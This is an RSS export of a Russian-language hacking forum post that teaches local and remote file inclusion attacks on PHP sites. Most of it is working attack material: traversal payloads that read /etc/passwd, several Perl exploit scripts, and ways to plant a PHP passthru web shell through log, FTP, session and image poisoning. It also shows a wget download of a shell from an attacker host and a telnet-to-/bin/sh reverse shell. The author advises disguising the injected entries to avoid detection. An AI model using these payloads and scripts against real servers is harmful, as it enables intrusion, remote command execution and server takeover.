<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="https://rich244.mybb.forum/export.php?type=rss" rel="self" type="application/rss+xml" />
		<title>Rich244</title>
		<link>http://rich244.mybb.forum/</link>
		<description>Rich244</description>
		<language>ru-ru</language>
		<lastBuildDate>Thu, 02 Jul 2009 23:07:17 +0400</lastBuildDate>
		<generator>MyBB/mybb.ru</generator>
		<item>
			<title>Веб-уязвимости для получения доступа к системе</title>
			<link>http://rich244.mybb.forum/viewtopic.php?pid=2#p2</link>
			<description>&lt;p&gt;1.Введение &lt;br /&gt;Всем привет,приступим сразу к делу,сегодня я вам расскажу о уже всем известных SQL,XSS,а также о малоизвестных LFI, RFI, SSI, ICH.Я не буду банально рассказывать вам теорию миллиард первый раз о ксс и скулях,я покажу вам что с ними можно сделать ;)Поехали.&lt;/p&gt;
						&lt;p&gt;2.LFI/RFI&lt;br /&gt;2.1.Введение&lt;br /&gt;Данный тип атак хорошо известен многим,он заключается в том,что когда система считывает файлы используются &amp;quot;плохие&amp;quot; запрограммированые страницы,которые делают отстук на следующие файлы,требуя включать команды)&lt;br /&gt;Логично,что при таких отстуках необохдимо не инициализировать переменные,вот так:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;require($file);&lt;br /&gt;require(&amp;quot;includes/&amp;quot;.$file);&lt;br /&gt;require(&amp;quot;languages/&amp;quot;.$lang.&amp;quot;.php&amp;quot;);&lt;br /&gt;require(&amp;quot;themes/&amp;quot;.$tema.&amp;quot;/config.php&amp;quot;);&lt;/p&gt;
						&lt;p&gt;Методов проексплоить его дохрена поэтому сразу привожу примеры:&lt;/p&gt;
						&lt;p&gt;Type of call:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;require($file);&lt;/p&gt;
						&lt;p&gt;Exploit:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;http://host/?file=/etc/passwd&lt;/p&gt;
						&lt;p&gt;Type of call:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;require(&amp;quot;includes/&amp;quot;.$file);&lt;/p&gt;
						&lt;p&gt;Exploit:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;http://host/?file=../../../../../etc/passwd&lt;/p&gt;
						&lt;p&gt;Type of call:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;require(&amp;quot;languages/&amp;quot;.$lang.&amp;quot;.php&amp;quot;);&lt;br /&gt;require(&amp;quot;themes/&amp;quot;.$theme.&amp;quot;/config.php&amp;quot;);&lt;/p&gt;
						&lt;p&gt;Exploit:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;http://host/?file=../../../../../etc/passwd%00&lt;/p&gt;
						&lt;p&gt;Type of call:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;require(&amp;quot;languages/&amp;quot;.$_COOKIE[&#039;lang&#039;].&amp;quot;.php&amp;quot;);&lt;/p&gt;
						&lt;p&gt;Exploit:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;javascript:document.cookie = &amp;quot;lan=../../../../../etc/passwd%00&amp;quot;;&lt;/p&gt;
						&lt;p&gt;А вот этот скрипт поможет вам заекспить данную багу через Post или Get запросы:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;#! /usr/bin/perl&lt;/p&gt;
						&lt;p&gt;# perl script to exploit LFI based in GET and POST requests&lt;br /&gt;# Example: &lt;a href=&quot;http://site.com/index.php?var=&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://site.com/index.php?var=&lt;/a&gt;&lt;br /&gt;# URL: &lt;a href=&quot;http://site.com/index.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://site.com/index.php&lt;/a&gt;&lt;br /&gt;# Variable: var&lt;br /&gt;# Method: POST&lt;br /&gt;#&lt;br /&gt;# by Pepelux (pepelux[at]enye-sec[dot]org)&lt;/p&gt;
						&lt;p&gt;use LWP::UserAgent;&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;/p&gt;
						&lt;p&gt;my ($host, $var, $method) = @ARGV ;&lt;/p&gt;
						&lt;p&gt;unless($ARGV[2]) {&lt;br /&gt;print &amp;quot;Usage: perl $0 &amp;lt;url&amp;gt; &amp;lt;vulnerable_var&amp;gt; &amp;lt;method&amp;gt;\n&amp;quot;;&lt;br /&gt;print &amp;quot;\tex: perl $0 &lt;a href=&quot;http://site.com/index.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://site.com/index.php&lt;/a&gt; var GET\n&amp;quot;;&lt;br /&gt;print &amp;quot;\tex: perl $0 &lt;a href=&quot;http://site.com/index.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://site.com/index.php&lt;/a&gt; var POST\n\n&amp;quot;;&lt;br /&gt;exit 1;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;$ua-&amp;gt;agent(&amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)&amp;quot;);&lt;br /&gt;$ua-&amp;gt;timeout(10);&lt;br /&gt;$host = &amp;quot;http://&amp;quot;.$host if ($host !~ /^http:/);&lt;/p&gt;
						&lt;p&gt;while () {&lt;br /&gt;print &amp;quot;file to edit: &amp;quot;;&lt;br /&gt;chomp($file=&amp;lt;STDIN&amp;gt;);&lt;/p&gt;
						&lt;p&gt;if ($method =~ /GET/) {&lt;br /&gt;$url = $host.&amp;quot;?&amp;quot;.$var.&amp;quot;=../../../../..&amp;quot;.$file.&amp;quot;%00&amp;quot;;&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url);&lt;br /&gt;$req-&amp;gt;header(&#039;Accept&#039; =&amp;gt; &#039;text/html&#039;);&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(POST =&amp;gt; $host);&lt;br /&gt;$req-&amp;gt;content_type(&#039;application/x-www-form-urlencoded&#039;);&lt;br /&gt;$req-&amp;gt;content($var.&amp;quot;=../../../../&amp;quot;.$file.&amp;quot;%00&amp;quot;);&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;$res = $ua-&amp;gt;request($req);&lt;/p&gt;
						&lt;p&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;$result = $res-&amp;gt;content;&lt;br /&gt;print $result;&lt;br /&gt;}&lt;br /&gt;else { print &amp;quot;Error\n&amp;quot;; }&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;2.2.Выполнение команды удаленно &lt;br /&gt;Этот тип уязвимости возможен для любой системы,где файлы доступны пользователю для чтения,но можно и выполнять некоторые системные команды.&lt;br /&gt;Для этого нам нужно написать в любом файле этот код:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;&amp;lt;? passthru ($ _GET [CMD])?&amp;gt;&lt;/p&gt;
						&lt;p&gt;СMD-это имя нашей переменной для отправки данных через GET&lt;/p&gt;
						&lt;p&gt;Теперь ищем место где можно записать данные,это можно осуществить несколькими способами:&lt;/p&gt;
						&lt;p&gt;2.2.1 Иньекции в PHP кодах в логах Apache&lt;br /&gt;Мы знаем, что Apache сервер сохраняет логи всех операций, в access_log и&lt;br /&gt;error_log.Мы можем играть с зареганами данными и использовать пхп коды.&lt;br /&gt;Например, чтобы поместить в error_log файл достаточно сделать вызов&lt;br /&gt;несуществующей страницы,но отправку кода осуществляем в файл:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;http://host/xxxxxxx = &amp;lt;? passthru (\ $ _GET [CMD])?&amp;gt;&lt;/p&gt;
						&lt;p&gt;Это добавит строку в error_log,и нам останется загрузить файл таким же способом как мы делали до этого и отправить через цмд команды для исполнения:&lt;br /&gt;http://host/?file=../../../var/apache/error_log&amp;amp;cmd=ls /etc&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;http://host/?file=../../../var/apach..._log&amp;amp;cmd=uname -a&lt;/p&gt;
						&lt;p&gt;Теперь остается узнать когад мы можем трогать логи апача,а зависит это от операционной системи и админа)Один из вариантов заключается в поиске типичных дерикторий где хранятся логи:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;/var/log/apache/&lt;br /&gt;/var/log/httpd/&lt;br /&gt;/usr/local/apache/logs/&lt;br /&gt;......&lt;/p&gt;
						&lt;p&gt;В общем на серве мы видим:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;/path/host.com/www&lt;br /&gt;/logs&lt;br /&gt;/data&lt;/p&gt;
						&lt;p&gt;В этом случае мутим путь файла для несуществующей директории:&lt;br /&gt;http://host/?file=xxxx &lt;/p&gt;
						&lt;p&gt;И на экране в этом случае увидим:&lt;/p&gt;
						&lt;p&gt;Инуитивно понятно,что логи в:&lt;br /&gt;/var/www/host.com/logs&lt;/p&gt;
						&lt;p&gt;Другой вариант,это в файле httpd.conf посмотреть :&lt;br /&gt;ErrorLog /var/log/apache/error.log&lt;/p&gt;
						&lt;p&gt;Или вот так в шаровом:&lt;br /&gt;ErrorLog /home/chs/host.com/home/logs/error_log&lt;/p&gt;
						&lt;p&gt;Но как я писал жто зависит от ОС и версии Апача...&lt;/p&gt;
						&lt;p&gt;Также можно обнаружить логи апача в проц.таблице:&lt;br /&gt;/proc/{PID}/fd/{FD_ID} (только на некоторых системах так канает)&lt;/p&gt;
						&lt;p&gt;и юзаем этот скрипт:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;#! /usr/bin/perl&lt;/p&gt;
						&lt;p&gt;# perl script to serach apache logs path&lt;br /&gt;# Example:&lt;br /&gt;# URL: http://site/index.php&lt;br /&gt;# Variable: file&lt;br /&gt;# Method: POST&lt;br /&gt;#&lt;br /&gt;# by Pepelux (pepelux[at]enye-sec[dot]org)&lt;/p&gt;
						&lt;p&gt;use LWP::UserAgent;&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;/p&gt;
						&lt;p&gt;my ($host, $var, $method) = @ARGV ;&lt;/p&gt;
						&lt;p&gt;unless($ARGV[2]) {&lt;br /&gt;print &amp;quot;Usage: perl $0 &amp;lt;url&amp;gt; &amp;lt;vulnerable_var&amp;gt; &amp;lt;method&amp;gt;\n&amp;quot;;&lt;br /&gt;print &amp;quot;\tex: perl $0 &lt;a href=&quot;http://site.com/index.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://site.com/index.php&lt;/a&gt; file GET\n&amp;quot;;&lt;br /&gt;print &amp;quot;\tex: perl $0 &lt;a href=&quot;http://site.com/index.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://site.com/index.php&lt;/a&gt; file POST\n\n&amp;quot;;&lt;br /&gt;exit 1;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;$ua-&amp;gt;agent(&amp;quot;&amp;lt;? passthru(\$_GET[cmd]) ?&amp;gt;&amp;quot;);&lt;br /&gt;$ua-&amp;gt;timeout(10);&lt;br /&gt;$host = &amp;quot;http://&amp;quot;.$host if ($host !~ /^http:/);&lt;/p&gt;
						&lt;p&gt;if ($method =~ /GET/) {&lt;br /&gt;$url = $host.&amp;quot;?&amp;quot;.$var.&amp;quot;=../../../../proc/self/stat%00&amp;quot;;&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url);&lt;br /&gt;$req-&amp;gt;header(&#039;Accept&#039; =&amp;gt; &#039;text/html&#039;);&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(POST =&amp;gt; $host);&lt;br /&gt;$req-&amp;gt;content_type(&#039;application/x-www-form-urlencoded&#039;);&lt;br /&gt;$req-&amp;gt;content($var.&amp;quot;=../../../../proc/self/stat%00&amp;quot;);&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;$res = $ua-&amp;gt;request($req);&lt;/p&gt;
						&lt;p&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;$result = $res-&amp;gt;content;&lt;br /&gt;$result =~ s/&amp;lt;[^&amp;gt;]*&amp;gt;//g;&lt;br /&gt;$x = index($result, &amp;quot; &amp;quot;, 0);&lt;br /&gt;$pid = substr($result, 0, $x);&lt;/p&gt;
						&lt;p&gt;print &amp;quot;Apache PID: &amp;quot;.$pid.&amp;quot;\n&amp;quot;;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;if ($method =~ /GET/) {&lt;br /&gt;$url = $host.&amp;quot;?&amp;quot;.$var.&amp;quot;=../../../../proc/self/status%00&amp;quot;;&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; $url);&lt;br /&gt;$req-&amp;gt;header(&#039;Accept&#039; =&amp;gt; &#039;text/html&#039;);&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(POST =&amp;gt; $host);&lt;br /&gt;$req-&amp;gt;content_type(&#039;application/x-www-form-urlencoded&#039;);&lt;br /&gt;$req-&amp;gt;content($var.&amp;quot;=../../../../proc/self/status%00&amp;quot;);&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;$res = $ua-&amp;gt;request($req);&lt;/p&gt;
						&lt;p&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt;$result = $res-&amp;gt;content;&lt;br /&gt;$result =~ s/&amp;lt;[^&amp;gt;]*&amp;gt;//g;&lt;br /&gt;$x = index($result, &amp;quot;FDSize&amp;quot;,0)+8;&lt;br /&gt;$fdsize = substr($result, $x, 3);&lt;/p&gt;
						&lt;p&gt;print &amp;quot;FD_SIZE: &amp;quot;.$fdsize.&amp;quot;\n&amp;quot;;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;for ($cont = 0; $cont &amp;lt; $fdsize; $cont++) {&lt;br /&gt;$file = &amp;quot;../../../../proc/&amp;quot;.$pid.&amp;quot;/fd/&amp;quot;.$cont;&lt;br /&gt;open FILE, $file;&lt;/p&gt;
						&lt;p&gt;while(&amp;lt;FILE&amp;gt;) {&lt;br /&gt;if (($_ =~ /does not exist/) &amp;amp;&amp;amp; ($_ =~ /passthru/)) {&lt;br /&gt;print &amp;quot;FD: &amp;quot;.$cont.&amp;quot;\n&amp;quot;;&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;результат будет примерно таким:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ perl proc.pl http://host/index.php page GET&lt;br /&gt;Apache PID: 4191&lt;br /&gt;FD_SIZE: 64&lt;br /&gt;FD: 2&lt;/p&gt;
						&lt;p&gt;Также можно использовать иньекции через урл,который не возвращает к ошибке:&lt;br /&gt;http://host/index.php?x = &amp;lt;? passthru (\ $ _GET [CMD])?&amp;gt; &lt;/p&gt;
						&lt;p&gt;ПОможет нам этот скрипт:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;#! /usr/bin/perl&lt;/p&gt;
						&lt;p&gt;# perl script to inject a CMD in a web LFI vulnerable&lt;br /&gt;# Example:&lt;br /&gt;# Host: &lt;a href=&quot;http://host.com&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://host.com&lt;/a&gt;&lt;br /&gt;# type: U&lt;br /&gt;#&lt;br /&gt;# by Pepelux (pepelux[at]enye-sec[dot]org)&lt;/p&gt;
						&lt;p&gt;use LWP::UserAgent;&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;/p&gt;
						&lt;p&gt;my ($host, $type) = @ARGV ;&lt;br /&gt;$code=&amp;quot;&amp;lt;? passthru(\$_GET[cmd]) ?&amp;gt;&amp;quot;;&lt;/p&gt;
						&lt;p&gt;unless($ARGV[1]) {&lt;br /&gt;print &amp;quot;Usage: perl $0 &amp;lt;url&amp;gt; [URI|UAG|REF]\n&amp;quot;;&lt;br /&gt;print &amp;quot;\tURI: URI\n&amp;quot;;&lt;br /&gt;print &amp;quot;\tUAG: User-Agent\n&amp;quot;;&lt;br /&gt;print &amp;quot;\tREF: Referer\n\n&amp;quot;;&lt;br /&gt;print &amp;quot;\tex: perl $0 &lt;a href=&quot;http://host.com&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://host.com&lt;/a&gt; URI\n&amp;quot;;&lt;br /&gt;exit 1;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;$host = &amp;quot;http://&amp;quot;.$host if ($host !~ /^http:/);&lt;/p&gt;
						&lt;p&gt;if ($type =~ /UAG/) { $ua-&amp;gt;agent($code); }&lt;br /&gt;else { $ua-&amp;gt;agent(&amp;quot;Mozilla/5.0&amp;quot;); }&lt;/p&gt;
						&lt;p&gt;if ($type =~ /URI/) { $$host .= &amp;quot;/&amp;quot; . $code; }&lt;/p&gt;
						&lt;p&gt;$req = HTTP::Request-&amp;gt;new(POST =&amp;gt; $host);&lt;br /&gt;$req-&amp;gt;content_type(&#039;application/x-www-form-urlencoded&#039;);&lt;br /&gt;$req-&amp;gt;content(&amp;quot;x=x&amp;quot;);&lt;/p&gt;
						&lt;p&gt;if ($type =~ /REF/) { $req-&amp;gt;referer($code); }&lt;/p&gt;
						&lt;p&gt;$res = $ua-&amp;gt;request($req);&lt;/p&gt;
						&lt;p&gt;Ввод в error_log для направления в несуществующий урл:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ perl cmd.pl &lt;a href=&quot;http://host.com/blabla&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://host.com/blabla&lt;/a&gt; URI&lt;/p&gt;
						&lt;p&gt;В error_log мы видим: &lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not&lt;br /&gt;exist: /home/chs/host.com/home/html/blabla&lt;/p&gt;
						&lt;p&gt;Попытка с User-Agent: &lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ perl cmd.pl &lt;a href=&quot;http://host.com/blabla&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://host.com/blabla&lt;/a&gt; UAG&lt;/p&gt;
						&lt;p&gt;В error_log мы видим одно и то же:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not&lt;br /&gt;exist: /home/chs/host.com/home/html/blabla&lt;/p&gt;
						&lt;p&gt;Попытки со ссылками: &lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ perl cmd.pl &lt;a href=&quot;http://host.com/blabla&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://host.com/blabla&lt;/a&gt; REF&lt;/p&gt;
						&lt;p&gt;В этом случае мы получим результат иньекции:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;[Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not&lt;br /&gt;exist: /home/chs/host.com/home/html/blabla, referer: &amp;lt;? passthru($_GET[cmd])&lt;br /&gt;?&amp;gt;&lt;/p&gt;
						&lt;p&gt;Теперь мы собираемся написать в access_log более менее &amp;quot;весомуб инфу&amp;quot;(чтоб не запалили)&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ perl cmd.pl &lt;a href=&quot;http://host.com/index.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://host.com/index.php&lt;/a&gt; URI&lt;/p&gt;
						&lt;p&gt;В этом случае мы получим: &lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;11.22.33.44 - - [08/Oct/2008:12:57:39&amp;#160; 0200] &amp;quot;POST&lt;br /&gt;/index.php/&amp;lt;? passthru($_GET[cmd]) ?&amp;gt; HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot;&lt;br /&gt;&amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820&lt;br /&gt;Firefox/3.0.1&amp;quot;&lt;/p&gt;
						&lt;p&gt;Попытка с User-Agent: &lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ perl cmd.pl &lt;a href=&quot;http://host.com/index.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://host.com/index.php&lt;/a&gt; UAG&lt;/p&gt;
						&lt;p&gt;Иньекция:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;11.22.33.44 - - [08/Oct/2008:13:00:05&amp;#160; 0200] &amp;quot;POST&lt;br /&gt;/index.php HTTP/1.1&amp;quot; 301 - &amp;quot;-&amp;quot; &amp;quot;&amp;lt;? passthru($_GET[cmd]) ?&amp;gt;&amp;quot;&lt;/p&gt;
						&lt;p&gt;Попытки со ссылками:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ perl cmd.pl &lt;a href=&quot;http://host.com/index.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://host.com/index.php&lt;/a&gt; REF&lt;/p&gt;
						&lt;p&gt;Мы также получим инъекцию: &lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;11.22.33.44 - - [08/Oct/2008:13:00:56&amp;#160; 0200] &amp;quot;POST&lt;br /&gt;/index.php HTTP/1.1&amp;quot; 301 - &amp;quot;&amp;lt;? passthru($_GET[cmd]) ?&amp;gt;&amp;quot; &amp;quot;Mozilla/5.0 (X11;&lt;br /&gt;U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1&amp;quot;&lt;/p&gt;
						&lt;p&gt;2.2.2.Внедрение иньекционных PHP кодов в процессорную таблицу,изображения и сессии&lt;/p&gt;
						&lt;p&gt;Суть заключается в том,что я отправляю через User-Agent файл http://host/?file=../../../proc/self/environ&amp;amp;cmd=uname - .Впринципе это все для проц.таблы&lt;br /&gt;Насчет изображений,мутим в файл &lt;br /&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;&amp;lt;? passthru ($ _GET [CMD])?&amp;gt;&lt;/p&gt;
						&lt;p&gt;и осуществеление этого способа будет ЛФИ все для того же http://host/?file=path/avatar.gif&amp;amp;cmd=uname - &lt;/p&gt;
						&lt;p&gt;Уязвимый код в сессии:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;&amp;lt;?php&lt;br /&gt;$user = $_GET[&#039;user&#039;];&lt;br /&gt;session_register(&amp;quot;user&amp;quot;);&lt;br /&gt;session_start();&lt;br /&gt;?&amp;gt;&lt;/p&gt;
						&lt;p&gt;Как мы видим, она создает сессию с помощью переменной величины, полученной путем GET&lt;br /&gt;без каких-либо проверок. &lt;/p&gt;
						&lt;p&gt;Мы можем направить:&lt;br /&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;http://host/?user = &amp;lt;? passthru ($ _GET [CMD])?&amp;gt;&lt;/p&gt;
						&lt;p&gt;И при просмотре Cookies нашего штурмана мы можем видеть, что:&lt;br /&gt;PHPSESSID = b25ca6fea480073cf8eb840b203d343e&lt;/p&gt;
						&lt;p&gt;Анализ сессии папки мы можем видеть содержимое:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e&lt;br /&gt;user&lt;/p&gt;
						&lt;p&gt;2.2.3.Внедрение кода в другие файлы&lt;/p&gt;
						&lt;p&gt;Обычно мы не имеем прав для загрузки чего-либо в другие файлы,но у нас же есть ФТП логи:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ ftp host.com&lt;br /&gt;220 ProFTPD 1.3.1 Server (Debian) [host.com]&lt;br /&gt;Name (pepelux): &amp;lt;? passthru($_GET[cmd]) ?&amp;gt;&lt;br /&gt;Password:&lt;/p&gt;
						&lt;p&gt;Если мы посмотрим на /var/log/proftpd/proftpd.log мы увидим,что наш код ввиден:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;Oct 09 21:50:21 host.com proftpd[11190] host.com&lt;br /&gt;([11.22.33.44]): USER &amp;lt;? passthru($_GET[cmd]) ?&amp;gt;: no such user found&lt;br /&gt;from [11.22.33.44] to host.com:21&lt;/p&gt;
						&lt;p&gt;Если уязвимые сервера используют старую версию Webalizer, мы также можем использовать файл usage_DATE.html для внедрение кода:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;Referer: &amp;lt;? passthru($_GET[cmd]) ?&amp;gt;&lt;/p&gt;
						&lt;p&gt;В случае, если сервер Apache допускает PUT команды мы также можем загрузить файл&lt;br /&gt;с нашим кодом: &lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ telnet host.com 80&lt;br /&gt;Trying 11.22.33.44...&lt;br /&gt;Connected to host.com.&lt;br /&gt;Escape character is &#039;^]&#039;.&lt;br /&gt;OPTIONS / HTTP/1.1&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sat, 11 Oct 2008 15:06:05 GMT&lt;br /&gt;Server: Apache/2.2.9 (Debian) PHP/5.2.6-5&lt;br /&gt;Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE&lt;br /&gt;Content-Length: 0&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: httpd/unix-directory&lt;/p&gt;
						&lt;p&gt;Connection closed by foreign host.&lt;/p&gt;
						&lt;p&gt;Иньекция:&lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ telnet host.com 80&lt;br /&gt;Trying 11.22.33.44...&lt;br /&gt;Connected to host.com.&lt;br /&gt;Escape character is &#039;^]&#039;.&lt;br /&gt;PUT /file.txt HTTP/1.1&lt;br /&gt;Content-Type: text/plain&lt;br /&gt;Content-Length:26&lt;/p&gt;
						&lt;p&gt;&amp;lt;? passthru($_GET[cmd]) ?&amp;gt;&lt;/p&gt;
						&lt;p&gt;2.3.Загрузка шелла&lt;/p&gt;
						&lt;p&gt;Если мы сможем выполнять команды удаленно мы можем попытаться загрузить шелл чтоб иметь больший доступ к системе.&lt;br /&gt;Одним из методов является создание основой шелла.Мы можем загружать его с помощью Wget команды: &lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;http://host/?file=xxxx&amp;amp;cmd=wget http://devil/shell.txt-O shell.php&lt;/p&gt;
						&lt;p&gt;Поскольку мы не можем загрузить файл на PHP мы можем замутит в тхт а потом переиминовать)&lt;br /&gt;Мы также можем попытаться сделать обратный Telnet: &lt;/p&gt;
						&lt;p&gt;&amp;#160; Код:&amp;#160; &amp;#160;&lt;/p&gt;
						&lt;p&gt;pepelux:~$ nc -vv -l -p 8888&lt;br /&gt;pepelux:~$ nc -vv -l -p 8889&lt;/p&gt;
						&lt;p&gt;http://host/?file=xxxx&amp;amp;cmd=telnet devil 8888 | /bin/sh | telnet devil 8889&lt;/p&gt;
						&lt;p&gt;Если allow_url_include в php.ini, мы можем юзать шелл напрямую.Метод известен:&lt;br /&gt;Загружаем через Гет или Пост шелл:&lt;/p&gt;
